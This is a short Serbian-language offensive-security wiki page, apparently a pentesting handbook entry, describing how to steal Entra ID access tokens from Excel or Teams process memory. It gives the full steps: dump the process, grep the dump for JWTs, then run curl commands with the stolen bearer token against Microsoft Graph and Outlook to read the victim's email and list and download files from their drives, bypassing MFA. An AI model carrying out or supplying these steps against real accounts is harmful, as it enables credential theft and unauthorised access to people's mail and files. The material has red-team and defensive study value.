Az - Processes Memory Access Token

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Osnovne Informacije

Kao što je objašnjeno u ovom videu, neki Microsoft softveri sinhronizovani sa cloud-om (Excel, Teams...) mogu čuvati pristupne tokene u čistom tekstu u memoriji. Tako da samo dumpovanje memorije procesa i pretraga za JWT tokenima može vam omogućiti pristup raznim resursima žrtve u cloud-u, zaobilazeći MFA.

Koraci:

1. Dumpujte excel procese sinhronizovane sa EntraID korisnikom koristeći vaš omiljeni alat.
2. Pokrenite: string excel.dmp | grep 'eyJ0' i pronađite nekoliko tokena u izlazu
3. Pronađite tokene koji vas najviše zanimaju i pokrenite alate nad njima:

# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
┌──(magichk㉿black-pearl)-[~]
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

Napomena da se ovakvi pristupni tokeni mogu naći i unutar drugih procesa.